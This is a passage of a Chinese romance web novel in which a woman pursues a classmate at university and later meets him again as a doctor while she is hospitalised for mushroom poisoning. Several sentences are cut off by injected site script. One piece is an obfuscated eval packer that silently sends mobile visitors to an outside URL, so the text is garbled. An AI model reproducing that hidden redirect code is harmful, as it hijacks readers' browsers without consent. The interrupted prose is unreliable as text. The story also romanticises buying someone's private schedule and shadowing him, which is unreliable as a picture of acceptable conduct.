曾岳吃到一半才发现不对劲,慢半拍地问宋南汐:“无事献殷勤,非奸即盗!你打什么算盘呢?” 宋南汐微微一笑,眉眼之间藏不住的狡黠:“你放心吃,不奸也不盗。” 曾岳一听这话瞬间不敢吃了,放下筷子,警惕地看着宋南汐:“犯法的事我可不干。” “……不犯法。”宋南汐有些无语,但看在有求于人的份上还是忍了下来:“哥,人家就是有一点点微不足道的小忙需要你帮一下。” 曾岳听着她彻底放软的声音起了一身的鸡皮疙瘩,“嘶,别膈应我,有屁快放!” 宋南汐清了清嗓子,恢复正常嗓音:“陈见青的联系方式给我一下。” “……”果然不是什么好屁! “不行!”曾岳果断拒绝。 宋南汐理所应当:“吃人嘴短拿人手软,你这又吃又喝的,必须帮我。” 曾岳哽了一下,然后苦口婆心劝道:“我真心劝你,别招惹他。他的生活很拥挤,考试比赛学习打工,所有的时间几乎精确到秒,你挤不进去的。换个人追吧。” 宋南汐若有所思道:“忙点好,品学兼优还没空出轨!” “……你这姑娘怎么油盐不进的。” 宋南汐问:“那你知不知道他的打工地点?还有他的课表也给我一下,奥对了,联系方式就不用给我了,我自己找他加。” “……” 最终,宋南汐又给曾岳点了一杯30的奶茶,以成交价88.8得到了陈见青的私人信息。 接下来的时间,宋南汐与陈见青出现的地点高度重合。 他上课,她只要有空就会去旁听。 他在咖啡店打工,她就去咖啡店喝咖啡。 他去书店打工,她就去书店看书。 他去做家教,她就在他必经之路的甜品店里。 …… 他们相遇的频率很高,一周七天,他们有七天都在见面,但每次见面,宋南汐都没有跟他打过招呼,只是在他的视野范围内做自己的事,好几次陈见青看见她都欲言又止。 终于一周后的某次公共课课后,陈见青依旧如往常一样快速收好书包出了门,宋南汐等人快要走完才慢吞吞收拾起书包。 从后门走的时候才发现门口站了个人。 黑T卫裤运动鞋,简单干净的打扮,阳光落在他的侧脸,睫毛仿佛都渡着一层金辉,一派而成的少年气息。 他单肩背着书包,一手拉着书包带子,半靠着墙站着,似乎在等人。 宋南汐扬了扬唇角,面不改色地从他面前走过去,刚走几步,果然后面的人跟了上来,紧接着,手腕被人拉住。 温热的、干燥的触感,很快便放开。 他对她说了多日来的第一句话:“宋南汐,为什么一直跟着我。” 宋南汐笑吟吟地回头,“学长,原来你记得我的名字呀。” “不过,”宋南汐话音一转,漂亮的眼珠盯着他看,“你怎么知道我跟的是你呀?” 陈见青眉头微微皱了皱,似乎不知道该怎么回答。 半晌,他叹了口气,“算了。” 陈见青错身欲走,宋南汐往旁边一挪,挡住了他的去路,“学长,你不能算了,因为……我跟的人确实是你。” “为什么一直跟着我。” 依旧是刚刚的问题。 “因为网上说,要想追一个人就要先让他熟悉你。”宋南汐弯了弯眼睛,“看来,学长已经熟悉我了,那我是不是就可以开始追你了?” 陈见青有片刻的错愕,没想到她说话这么直白,好一会儿才有些磕巴地回她:“我、我说了,我没时间谈恋爱。” “学长,你就负责过好自己的生活,我追我的,你不用管我,真的。”阳光下那两颗眼珠比玻璃还亮,漂亮的不像话,让人心生摇曳。 陈见青说:“我知道你根本不缺男朋友,所以没必要在我身上浪费时间。” 言下之意很明显,他知道她是怎样的一只花花蝴蝶。 但宋南汐也不恼,反而笑起来:“学长,原来你偷偷了解过我啊。” 陈见青耳尖微红,被她堵的没话说。 阳光下,少女三根手指放在心脏的位置,信誓旦旦:“学长,我发誓,虽然我确实不缺男朋友,但我真正追的人只有你一个。” 这话是真的,她所有的男朋友,百分之九十九的人都是主动向她表白,而剩下的百分之一则是陈见青,唯一一个被她反向表白的,也是唯一一个被她倒追的。 因为平时她一般只有被追的份。 陈见青抿了抿唇,片刻后他说:“你喜欢我什么?我愿意改。” “我喜欢你不喜欢我。” “……” 陈见青彻底没辙,神色有些无奈。 宋南汐就笑,好声好气商量道:“虽然我第一次追人,没什么经验,但是学长我会非常认真追你的,绝对不会半途而废!” 陈见青转身就走,宋南汐小跑着跟上来,嘴里喋喋不休: “学长,真的不试试吗?” “我长得漂亮,气质好身材好,学习也好,样样拔尖,咱俩真是郎才女貌,天作之和,绝配!” “而且,你喜欢的样子我都有,温柔的、飒爽的、活泼的、文静的……只要你想,我都能装……呃,不是,我都能学。” “学长,你考虑考虑呗,今日限定的仙女哦。过了这村可就没这店了。” 陈见青终于停下脚步,“今日限定?” 宋南汐“嘿嘿”笑了声,“你今天不定,那我就天天来推销,直到你同意我追你为止。” 不知道是不是宋南汐的错觉,陈见青的唇角好像弯了一下,很浅的弧度,很快消失不见,他说:“宋南汐,追人还需要同意的?” 宋南汐一本正经地点了点头:“要的。” 陈见青挑了挑眉:“这也是网上说的?” 宋南汐点头道:“网上说了,追人要讲礼貌。” 这次不是错觉,她真的亲眼看到陈见青笑了,唇角一弯,眉眼也扬起来。 仿佛终年不化的雪山,忽得阳光眷顾,于是万物生晖,积雪融化。 微凉的雪水直接浸透她的心脏,让她整个心尖都为之一颤。 陈见青继续往前走,只不过脚步缓了许多。 宋南汐在原地愣怔片刻,很快就跟上去,继续在身后追问:“学长,那我能追你吗?” 陈见青忽然停住,宋南汐始料未及直接撞在他的后背上,背后的凸起的骨头撞得她鼻梁生疼。 宋南汐捂着鼻子后退两步,泪珠都在眼眶里打转,看起来楚楚可怜。 她默默地想,她得给他好好补补才行,身上都没二两肉。 陈见青转过身,看着她欲言又止,最后还是出于人道主义问了句:“你没事吧?” 宋南汐撇了撇嘴,看起来更委屈了,“有事!需要你同意才能好!” 陈见青掀了掀眼皮,“宋南汐,想追谁是你的事,不需要我的同意。” 说完,他便不再看她,继续往前走。 宋南汐反应过来,鼻子也不疼了,赶紧跟了上去,笑嘻嘻追问:“学长学长,你是同意我追你了吗?” 陈见青目不斜视,只淡淡吐出两个字:“随你。” 追陈见青的过程似乎很顺利,她依旧按照之前的轨迹与他碰面,只不过不同的是,蹭课时她不再坐在他的视野范围内,而是坐在他身边,早饭的时候,宋南汐会专门等他吃饭,他没空吃,宋南汐就给他送。 他也不再漠视她的存在,有时候还会邀请她一起吃午饭,蹭课的时候还会帮她占座位。 他还主动加了她微信。 她感受到了陈见青的变化,于是有时候就会开玩笑地问:“学长,我快追到你了吗?” 陈见青问她,是不是不想追了。 宋南汐就会花 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 言巧语:“我就是提醒你一下,我怕等到我七老八十追不动了,你都还没给我转正。” 陈见青就红着脸不理她。 后来有一次,宋南汐因为熬夜改论文起得晚了,所以去医学院蹭课的时候迟到了十分钟。 她从后门悄悄溜进去的时候,陈见青正在倒数第三排认真听课。 她弯着腰绕了一圈,才绕到陈见青身边,椅子都还没打开,讲台上的老教授突然拿着扩音器叫她: “欸,那位穿着黄色衣服扎着高马尾的女孩,对,就是倒数第三排坐在陈见青身边的女孩。” 众人的目光顿时聚集到她身上,宋南汐一脸懵地站在那边,指了指自己:“我?” “对,就是你。” 教授是个头发花白的老先生,用教鞭指着幻灯片上的图片,说:“你来回答一下,这是什么心电图?” 宋南汐抿了抿唇,想不出来。 手指扒拉了一下陈见青,小声说:“帮帮我,陈见青。” 陈见青不为所动。 宋南汐皱了皱眉,放弃救援。 在众人的目光中,她纠结着缓缓开口:“应该是人的心电图吧?” 话音一落,课堂瞬间哄堂大笑。 宋南汐摸不着头脑,又问:“难道不是人的?” 课堂再次发出爆笑,一旁的陈见青也难得笑起来。 宋南汐彻底闭了嘴,报复性地轻轻踢了下身旁那人的小腿。 等笑声渐渐弱了下来,那老教授又拿着扩音器说:“陈见青,替你女朋友回答一下。” 课堂上又响起一阵此起彼伏的起哄声。 陈见青不慌不忙站起来,声音清润:“有宽大qrs,是室早。” 老教授满意点了点头,挥手示意他们坐下,“陈见青,下课了好好教教你女朋友。” 又是一阵起哄声,但陈见青神色如常,也没反驳。 宋南汐更懵了。 他为什么不反驳? 等课间的时候,宋南汐本想好好问问他,谁知教授先一步把他叫走了。 等第二节下课后,宋南汐利落收好书包紧随着陈见青出了门。 等到楼梯拐角的时候,宋南汐几步上前一把抓住陈见青的手腕,将他拽进楼梯处的角落里。 陈见青没有排斥她的靠近,就那么一动不动地看着她,轻声问:“做什么?” 宋南汐凝着他:“陈见青,你很有问题。” 陈见青:“你来说说。” 宋南汐说:“今天上课,大家都起哄我是你女朋友,你没有反驳。” 陈见青点点头,鼓励她继续。 宋南汐继续道:“现在我得出两个结论:要么你是渣男陈世美二代,要么……我就是你女朋友。” 陈见青:“……” 宋南汐有些忐忑地问:“你觉得是前者还是后者?” 陈见青叹了口气,看向她的目光很是无奈,几秒后,一个温热的吻落在她额头上。 “这样你能明白吗?” 宋南汐震惊地睁大了眼,抬手摸了摸自己的额头,温软的触感仿佛还残留在上面。 陈见青又来捉她的手握在手心里,略高的体温通过手心传递过来,一下子烫到她的心尖。 宋南汐愣愣地说:“陈见青,你不可以做渣男。” 陈见青:“……” 宋南汐眨了眨眼,反应过来似的,她又笑起来,眉眼弯弯地问:“那现在我算是提前转正了?” 陈见青脸颊有些红,但还是“嗯”了声,“女朋友。” 像是烟花突然在脑子里炸开的感觉,整个人都被欢喜雀跃所取代。 快要上课,楼梯口不断有学生经过。 他们躲的这个小角落不算太隐蔽,只能完全遮住宋南汐的身影,陈见青的身影几乎一览无余。 有人频频朝他们的方向看过来,陈见青面色有些红,想退出去,却被宋南汐拉住手不许动。 宋南汐眉眼间笑意更深,她仰着头,琥珀色的眼珠纯净又明亮,用只能两个人听见的声音说: “陈见青,低下头。我想亲你。” 12. 吻 一楼下面的楼梯间空间不大,陈见青的手护着她的脑袋才不至于让她磕到头。 宋南汐扯了扯他的衣角,“亲一下。” 陈见青捉住她的手腕,“先出去再说。” “陈见青。”宋南汐不动,微红的脸颊看着他,凑他更近,小苍兰的香味在鼻尖萦绕,她几乎笑着说:“我们像不像在……偷情。” 楼梯口不断有学生的嬉闹声传来,陈见青就那么笔直的矗立在楼梯间口,手臂上攀上一只明黄色衣袖的手臂,手臂的主人被很好的掩护在楼梯下的小房间里,但明显看出是个女生,两人俨然一副约会的模样。 有人认出陈见青,高喊了一句:“陈师兄好!师兄的女朋友也好!” 陈见青淡声应下,但脸已经红得要滴血。 上课铃响了,一阵急促的脚步声后,耳边终于清净下来。 看他实在害羞,宋南汐不再逗他,正准备出去的时候,一片阴影突然笼罩下来。 陈见青俯身在她唇上轻轻啄了一下,几乎蜻蜓点水的一个吻。却让宋南汐的心跳都慢了半拍。 那一瞬间,她清楚地感受到,被人亲吻的感觉。 温软的触感,像棉花糖一样,让人忍不住再尝一口。 谈过那么多场恋爱,但这是她第一次跟人接吻,好像也并没有那么令人难以接受,甚至她还有点喜欢。 宋南汐脸上的惊愕、呆滞、羞涩带着些许喜悦的表情让陈见青感到有些新奇:“宋南汐,你也会害羞?” 这句话让宋南汐想起自己的设定——一只情场花花蝴蝶,她清了清嗓子,辩解道:“这是作为女生独特生理反应。” 她才不会告诉这个人刚刚那个是她的初吻。 陈见青挑了挑眉,显然没信。 陈见青的反应瞬间激起了宋南汐心底一种奇怪的胜负欲,她伸手就去抓他的领子,想强吻他,为自己扳回一城。 陈见青巧妙避开她的手,后退一步,宋南汐扑了个空。 他唇角含着笑,“下次再亲,我要去咖啡店上班了。” 宋南汐:“……” 根本没有扳回一城的机会,宋南汐不甘心,又去追他。 今天就算他去天涯海角,宋南汐也要亲到他! 必须把他亲的心服口服! - 宋南汐再次因为菌子中毒住院的当天,消息不胫而走,二院的医生和护士都知道医院来了个短短三天内就在菌子上面连着栽了三次跟头的病患。 典型的人菜瘾大,对于吃菌爱好者具有很好的警醒效用。 江临并非菌子大省,每年因为菌中毒的患者只有个例,所以每次有菌中毒患者入院的时候,很多实习生都想去观摩学习一下。 陈见青手下正好有一批实习生,当天傍晚就带着他们去参观了一下这个因为菌子三进医院的病例。 病房里,七八个实习生围着病床站了一圈,人手拿着一个笔记本。 陈见青正为他们讲解菌子中毒的临床诊治手段,以及中毒原因。 有人提问,“老师,菌中毒真的会见小人吗?” 陈见青抬眸看了眼提问的学生,“见手青中含有一种LSD的致幻物质,会让人的感官极为敏感,看到所有事物都会非常鲜艳,没生命的物质都有了生命。” 正讲解的时候病患突然伸出手在虚空中胡乱抓着什么。 有学生惊呼,“天!这就是见小人吗?” 陈见青目不斜视继续道:“你们在网上所看到的菌子中毒所产生的幻觉描述都是幸存者留下的,实际上,菌子中毒并非开玩笑,轻则产生幻觉上吐下泻,重则肾衰甚至死亡。” “陈见青!” 病患突然叫了自家老师的名字,实习生们都忍不住好奇地偏头去看。 正在讲解的陈见青突然顿住话音,病床上的宋南汐闭着眼皱着眉,嘴里嘟嘟囔囔的:“陈见青!你在哪呢?” 仿佛是在梦魇,手仍在半空中胡乱挥舞着,嘴里不断叫着他的名字,现场一时有些安静,实习生们面面相觑。 陈见青无奈握住半空中的那截冷白腕骨,将她的手指向自己:“在这。” 几乎那一瞬间,对方反客为主,直接反拽住他的手,然后用力一拉。 明明还在昏迷的人也不知道哪来的这么大的力气,陈见青踉跄了一下,猝不及防地,往她的身上倒去。 幸好,陈见青用手撑了一把,才不至于压在她身上。 众人都被惊了一瞬,有实习生反应过来想去拉陈见青起来。 病床上的人忽然半睁开眼,眨了眨,然后仰起头,嘴唇精准无误地覆上了陈见青的。 两唇相贴,一触即分。 病床上的人痴痴笑起来,声音愉悦,带着说不出的得意: “亲到你了,陈见青。” 病房里,实习生的记录本噼里啪啦掉了一地,众人一时僵在原地,不知作何反应。 而传说中,不苟言笑、让人闻风丧胆的陈教授居然红了脸。 - 宋南汐醒来的时候已经是第二天早上。 她敏锐地察觉到有些不对劲。 十分有九分的不对劲。 在她醒后的一小时内,陆续有十几个医生护士出入她的病房,每个人的目光都会在她身上停留一会,带着若有若无的打量。 那目光中的大多数都是好奇,还有少部分的嫉妒。 宋南汐一头雾水,这个谜底在表妹易醇来的时候才终于真相大白。 在易醇小心翼翼、绘声绘色地描述了昨天的场景后,宋南汐的天塌了。 易醇昨天正好是在现场的实习生之一,亲眼目睹了自家表姐强吻自家导师的全过程。 除了震惊外她更多的是好奇,终于她按耐不住问出了口:“表姐,我老师不会是你前男友之一吧?” 对于宋南汐的事,她了解一点,知道她情史挺丰富的,毕竟拥有一张人人趋之若鹜的好皮囊。 但也只是了解一点,她也是昨天才隐约猜到自家导师和自家表姐也许有着那么点不可宣于口的亲密关系。 宋南汐生无可恋地看了她一眼,那眼神意味已经相当明显:那不然呢? 自己猜测是一回事,当事人亲口承认又是另一回事,震惊过后,易醇脑子里浮现的第一个想法就是:“完了完了,我老师不会给我穿小鞋吧?” 宋南汐听见这话立刻从床上坐起来,神色极为严肃:“易醇,陈见青不是这样的人,不要这样猜测他。” 虽然还穿着病号服,但面上神色却看得人心里一惊,带着些不怒自威的气势,隐隐窥见几分职场上大魔王的气息。 易醇愣愣“哦”了声,很快她又郑重点了点头:“我知道了,表姐。” “呦,醒了?” 一道凉凉的声音从门口传进来,易醇看向来人,乖巧叫了声:“表哥。” 曾岳笑着伸手揉了一把易醇的脑袋,目光才又转向病床上的人,脸色沉下来,“宋南汐,你见手青上瘾啊!怎么有人能在短短三天内被同一种蘑菇连着毒倒了三次?!” 宋南汐满脑子都是陈见青,此刻已经对这几个字有点PTSD了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,大脑自动过滤曾岳的话,只听进去‘见青’两个字。 宋南汐当即炸了毛,高声道:“什么上瘾?谁上瘾!我才没有对陈见青上瘾!你别胡说,小心我告你造谣!” 曾岳:“……” 易醇:“…………” 气氛有短暂的凝滞,还是易醇好心提醒道:“表姐,表哥刚刚说的是见手青,不是我老师。” 宋南汐:“……” 曾岳轻嗤了声,幽幽道:“哦~原来是对陈见青上瘾啊!怪不得连着吃了人家三次豆腐。” 宋南汐张了张嘴,却没话反驳,最后叹了口气,躺倒在床上。 看着头顶白花花的天花板,宋南汐缓缓开口:“完蛋了,我真是没救了!” 曾岳突然说:“倒也不是没有挽回的办法。” 宋南汐登时来了精神,蹭地坐起来,期待地看着曾岳。 曾岳:“要不你俩复合?这豆腐不就吃的理所应当、情理之中了?” “……” 可真是个大聪明! 宋南汐提了提唇角,微笑道:“麻烦滚,谢谢。” 曾岳“嘁”了声,转身滚去查房了。 易醇也说:“表姐,我一会还要跟着老师去观摩手术,就先走啦。” 宋南汐目光动了动,忽然叫住要走的易醇。 她清了清嗓子,又抬手蹭了蹭鼻尖,有些不好意思地开口:“小醇啊,你老师有没有女朋友?” 易醇老实摇了摇头,“医院里还总有医生或护士想给老师做红娘呢。” 宋南汐问:“那……追他的人是不是挺多的?” 易醇说:“喜欢老师的人有很多,但追他的倒是没见过。” 宋南汐又问:“一个没有?” 易醇认真想了想说:“听学校里的同学说过一个传闻,听说老师曾经被一个校花级别的女孩追过,不过那女孩追到手没多久就把老师毫不留情的甩了。” 宋南汐的心重重跳了两下。 “听说那个人好像是个渣女,专门玩弄别人感情,从来不会交付自己的真心,但老师是真心喜欢她的,她还是老师的初恋。”易醇说着有些生气,为自己老师打抱不平: “听他们说,老师当时还因为这个人消沉了好一段时间,后来还卑微地去求复合,那个人不但没有回心转意,还带着现任男朋友一起拍视频侮辱老师!真是可气!” 易醇叹了口气:“听说那次恋爱后,老师就封心锁爱了,这么多年都没再谈过一个,可见被伤的有多深!” 宋南汐从她的叙述里抓住两个关键字,她皱眉问:“你说视频,什么视频?” 易醇说:“就是之前有人说他有老师卑微求复合的视频。” 宋南汐下意识道:“不可能!视频怎么可能传出来!我明明都删干净了!” 陈见青求复合的那天正好是闺蜜江淼的生日,当时在场的只有几个她和江淼的同班朋友还有个不请自来的路清柏。 虽然在场的人确实有人拍视频,但事后她全都高价让人删了,手机回收站也干干净净,就连监控都不例外,不可能有任何视频能流传出来。 但万一有疏漏的地方呢? 宋南汐:“小醇,你把卖视频那个人的联系方式给我。” 易醇震惊地瞪大了眼,好像才反应过来:“表姐,传说中那个渣女不会就是你吧?” 宋南汐问:“难道他还有其他前女友吗?” 易醇:“……” 缘分真是妙不可言。 但是,她真的不想要这种缘分啊!!! 13. 毒舌.陈医生 易醇翻了翻群聊天记录,找到那人的联系方式推给了宋南汐。 临走前,她有些不放心道:“表姐,我觉得他说的话不一定是真的,你小心被诈骗啊。” 宋南汐挥了挥手。 她用微信去加那个人,对方几乎秒通过。 宋南汐:【你好,陈教授的视频,多少钱?】 ~~~:【250。】 宋南汐毫不犹豫给对方转账250,对方秒收。 宋南汐盯着那聊天页面好一会儿,才跳出一个视频来。 点开,画面有点晃,光线也很昏暗,明显看出是在晚上,地点是在榆北大学的操场。 操场中央问了一圈氛围灯组成心形,女孩站在心中央,怀里抱着一大捧玫瑰花,看起来一脸羞涩。 她的对面站着陈见青,面孔略显青涩,那是大学时的他。 女孩大声说:“陈同学,我喜欢你很久了,你能不能、能不能做我男朋友?” 众人起哄“在一起”,陈见青的脸笼罩在昏暗的光线中,看不清表情,但隐隐能感受到周身的低气压。 陈见青迟迟不回答,女孩有些忐忑:“可、可以吗?” 众人的起哄声弱下来,然后听见陈见青说:“不可以。” 语气坚决,没有任何转圜的余地。 女孩瞬间红了眼睛,哽着声音问:“陈见青,你考虑一下我行吗?我真的很喜欢你。” 陈医生的毒舌从大学时期就已经显现,他毫不留情地嗤了声:“你喜欢我,我就要考虑你?谁规定的?你吗?” 哄闹的现场变得安静,昏暗中只能听到陈见青分外冷淡的声音和女孩的啜泣声。 女孩不甘心道:“陈见青,你不能这么对我。” 陈见青声音嘲讽:“那要怎么对你?像你一样,召集所有人开个发布会,跟大家声明:我不喜欢你,这辈子也不会喜欢你?” 说完,陈见青突然偏头朝摄像头的位置看了一眼,画面抖了一下,瞬间黑下来,视频最后只听到一阵鬼哭狼嚎的哭声。 这还是她第一次亲眼看见陈见青拒绝人的模样,与当初拒绝她的态度简直天差地别。 怪不得没什么人追他,大概是因为前车之鉴,没人敢追他。 这种毒舌值点满的高岭之花只可远观不可近玩。 不过,这视频完全货不对版啊! 宋南汐:【?】 ~~~:【??】 宋南汐:【不是说陈见青卑微求爱的视频吗?你发错了吧?】 对面直接甩过来一张截图,是部分聊天记录的截图。 ~~~:【看清楚OK?我说的明明是我有‘卑微求爱陈教授’的视频,你语文是体育老师教的吧?】 宋南汐:【……明明是你搞标题诈骗!】 ~~~:【喂!你搞清楚的好吧。是你自己主语不清。】 ~~~:【用脚趾头想想也知道,陈教授这种人怎么可能卑微求爱,别人卑微求爱陈教授还差不多。】 ~~~:【学校里这种没头没脑的传言你也信?脑子被驴踢了吧?】 一连三条消息直接给宋南汐气笑了。 宋南汐:【我要向你们学校举报你!】 消息没发出去,一个猩红的感叹号挂在消息边上,底下一行小字:您还不是对方的好友。 宋南汐:…… 回看那转账的250,每个数字都在赤-裸-裸地讽刺她。 中午的时候,路清柏突然来了,身后还跟着她的助理胡若瑶。 宋南汐有些惊讶:“你们怎么一起来了?” 路清柏走进来扯开椅子坐下,说:“在门口碰到了。” 胡若瑶穿着一身淡绿色西装,头发干练地挽在脑后,一看就是刚从公司赶过来的,她有些担心地问:“老大,你没事吧?” 宋南汐笑着摆摆手:“没事没事,医生说再观察一下,明天早上就能出院了。” 胡若瑶说:“今天,汇雪咖啡的负责人来公司了。” 宋南汐:“汇雪?” 胡若瑶言简意赅道:“他们要进行首次公开招股,公司有意向投资。” 宋南汐凝眉点了点头。 汇雪是去年才崛起的咖啡品牌,发展极为迅猛,现在已经要准备招股上市了,她所在的华凌资本是业内小有名气的投资公司,所以他们会找上来也不奇怪,只不过这次出院估计又得忙的昏天黑地了。 宋南汐问:“公司今天不忙吗?怎么有空过来?” 胡若瑶:“不知道你怎么样了,我有点担心,趁着午饭时间来看看你。” 宋南汐笑了下,“没事啦,今天本来就能出院的,但医生说最好观察一下,怕有什么后遗症。” 路清柏说:“是该观察一下,最好查查脑子。” “……路清柏,不怼我你会死啊!”宋南汐瞥了眼对面悠哉坐在椅子上的人,“不去陪你女朋友?” “女朋友?”路清柏笑起来,带着几分痞气朝她扬了扬下巴,语气有些不正经:“这不正陪着呢。” 话音刚落,半掩的门口突然传来一道熟悉的女声,“老师,您怎么在这?要进去吗?” “路过。”声音有些冷淡,但宋南汐立刻认出了声音的主人——陈见青。 没一会儿,易醇推门进来,“表姐,我在食堂帮你打了饭。” 易醇将食盒递给宋南汐后,正要走被她叫住:“小醇,刚刚陈见青是不是在门口?” 易醇如实道:“老师刚刚也拿着食盒站在门口,我以为他也是来给你送饭的,但他说路过。” 他刚刚一直在门口,那路清柏调笑的话他也听见了? 宋南汐的心莫名变得有些焦躁,她想现在就冲到陈见青面前去解释,但……她没有任何立场。 易醇走后,宋南汐瞥了眼对面说:“路清柏,女朋友这种玩笑以后别开了,一点也不好笑。” 路清柏脸上的表情有片刻的凝固,他半垂下眼,很好的掩饰住严重那份落寞,嘴角扯出一抹自嘲的弧度:“知道了。” 他站起身,又笑起来,还是那副吊儿郎当样,说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988573|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了,去陪我女朋友了。” 路清柏前脚刚走,曾岳后脚就进来了。 宋南汐说:“你怎么来了?” 曾岳笑:“来看看让两个男人接连碰壁的香饽饽。” 宋南汐:“……人家路清柏有女朋友,你别乱开玩笑。” 曾岳意味深长地“哦”了声,然后颇为阴阳怪气地开口:“原来有女朋友啊。” “老大,既然你没事,那我就先回公司了。” 胡若瑶一出声,曾岳才注意到这还站着个人,仔细打量了眼,忽然觉得有点熟悉。 宋南汐朝胡若瑶扬了扬下巴,“你去忙吧。” “欸,稍等。”曾岳移步拦住了胡若瑶的去路,“这位姑娘,我看你有点眼熟。” 胡若瑶平静道:“不认识,不交友,不加微信。” 宋南汐扑哧一声笑出来,“表哥,你这撩妹手段也太老套了吧。” 胡若瑶抬步就要走,却被曾岳再次拦住了去路。 曾岳盯着那张面无表情的脸,幽幽开口:“死了老公带俩娃,是不是你?” 那张面无表情的脸瞬间出现一道裂缝,愣怔片刻,前不久那个紧身裤、豆豆鞋、花衬衫的娘炮瞬间涌入脑海。 她震惊地抬眼看着眼前如同换头的男人,面如冠玉,长身玉立,哪有半分娘炮的样子,好一会她才发出声音:“那个死gay……是你?!” 曾岳:“……” 宋南汐一头雾水,不知道这俩人在打什么哑谜,“你俩说什么呢?” 胡若瑶脚步凌乱地跑了,病房里只剩一个僵硬石化的曾岳还有个一头雾水的宋南汐。 病房里两道声音几乎同时响起: “你泡我助理?” “她是你助理?” 宋南汐再次开口问:“你俩刚刚打什么哑谜呢?” 曾岳想起上周他去赴约的那个相亲局,当时一身过于潮流的打扮就是为了快速结束这场家里安排的相亲,但另他没想到的时候,对方似乎跟他一个想法:同样一身非主流装扮,化着极重的烟熏妆。 那场相亲局,俩人几乎一直是互演状态,仅用十分钟就结束了战斗,成为曾岳相亲史上最快结束记录。 曾岳声音颇为无奈:“我上周有个相亲局,她就是那个相亲对象。” 宋南汐没想到竟然这么巧,她疑惑问:“那若瑶为什么说你是死gay啊?还有,你为什么说她死了老公带俩娃啊?若瑶连男朋友都没有呢,哪来的老公孩子。” 曾岳颇为头疼地捏了捏眉心:“她没看上我,所以说自己死了老公带俩娃。” “奥。”宋南汐似懂非懂地点了点头,“那她为什么叫你死gay啊?” 往事不堪回首,曾岳有些难以启齿:“我也没看上她——” “——然后呢?”宋南汐持续追问。 “然后……”曾岳闭了闭眼,知道这事根本瞒不住,只好全盘托出:“我说我是gay。” 病房里短暂安静了几秒,然后发出一阵爆笑。 “……” 14. 对峙 宋南汐打听到陈见青下午没有手术,想去亲自跟他道个歉,为这三次的无礼。 等下午他们的下班时间,宋南汐径直去了陈见青办公室。 好不容鼓起勇气敲了门,但没人应,正要再敲的时候,有路过的护士告诉她看到陈见青刚刚出去了。 宋南汐便坐在门外的椅子上等,还坐下没一会儿,曾岳就朝这边走了过来。 “你找陈见青?他不在这。”宋南汐说。 曾岳:“我只是路过而已,你坐在这做什么?等陈见青?” 宋南汐点了点头,“我想正式跟他道个歉。” 曾岳指了下前面的楼梯口,“从那里,去顶楼,陈见青应该在那里。” “啊?你怎么知道?” 曾岳说:“他心情不好就会去那里。” 心情不好……他心情不好吗? 内心深处不可自抑地浮现出某个想法:是因为路清柏吗? 宋南汐按照曾岳的指示从楼梯口上去,爬到了顶楼,一眼就看到半倚着栏杆站着的陈见青。 临近傍晚,天已经暗了下来,宋南汐走近了才看到陈见青手中夹的那根亮着火星的烟。 她心中惊了一瞬,陈见青什么时候会抽烟了? 酝酿了一下,她走过去,越近那颗心跳的越快,她声音发紧:“陈医生。” 陈见青倚着栏杆,看着远方,没有分给她一个眼神,周身气压低沉。 宋南汐吞了吞口水,一颗心快要跳出嗓子眼:“陈医生,前几次的事多有冒昧,实在抱歉。” 说完,她偷偷去看陈见青的脸。 隐在晦暗不清的光线中,依稀可见流畅优越的下颌线条,眉眼优越,他抬手,指尖的烟衔在嘴里吸了一口,然后缓缓吐出了一个烟圈。 烟雾模糊了他的脸,宋南汐只觉得自己越来越看不清他,情不自禁便脱口而出:“陈见青,你什么时候学会抽烟了?” 陈见青终于偏头看了她一眼,嗤了声,“怎么不喊陈医生了?” 宋南汐噎了一瞬,砰砰作跳的心脏渐渐平静下来,她不理会他语气里的阴阳怪气,重复自己的问题:“陈见青,什么时候学会的抽烟?是因为……” 话音未落就被陈见青截断,语气满不在意:“人都是会变的,你不也不怕狗了吗?” 宋南汐想问的话再次吞进喉咙里,她其实很想问,为什么学会抽烟了呢?你之前明明说最讨厌烟味的。学会抽烟,是因为我吗? 空气静默片刻,宋南汐再次开口:“陈见青,为什么心情不好?” 陈见青不说话,只抬手抽了一口烟,指尖猩火明晦。 宋南汐攥紧了指尖,白天时的那股焦躁又莫名涌上来,不断地吞噬着她的理智。 “陈见青,中午的时候你来看过我是不是?为什么没有进来?是因为路清柏吗?” 那种莫名的焦躁推着她将脑子里那些所思所想一股脑说了出来。 陈见青没出声,但眉眼间明显冷了几分。 陈见青的沉默似乎给了宋南汐一点勇气,即使她现在根本没有立场去解释这些,但她还是借着那股勇气由着心道:“路清柏不是我男朋友,从前不是,现在也不是,我们只是单纯的——” 话音未落,陈见青突然偏头看向她,目光很冷,声音像是含着冰刃,有如实质般,毫不留情地刺向她:“宋南汐,你以为你是谁?” 宋南汐的话音瞬间顿住,所有要解释的话突然哽在嗓子里,上下不得,躁动的心渐渐冷下来。 “我心情好不好关你什么事?”他语意中的嘲讽明显:“你和路清柏什么关系又关我什么事?” 天越来越暗,宋南汐眼前有些模糊,看不太清陈见青的脸,那道犹如冷刃般的声音一下一下剐蹭着耳膜,她却觉得心脏疼。 她胡乱揉了一把眼睛,手上却一片湿润,开口时连声音都有些发颤:“对不起,陈医生,是我自作多情了。” 委屈的颤音勾黏住他的神经,陈见青额角跳了跳,指尖的烟不可自抑抖了一下,烟灰掉落,露出那截燃烧的火星。 昏暗的光线恰好地遮住了她的狼狈,宋南汐尽量让自己的声音维持平稳,但还是掩饰不住那一丝哽咽:“陈医生,前几次的事并非我所愿,给您造成了困扰,实在对不起。” 说完,宋南汐深深鞠了一躬,然后转身就走。 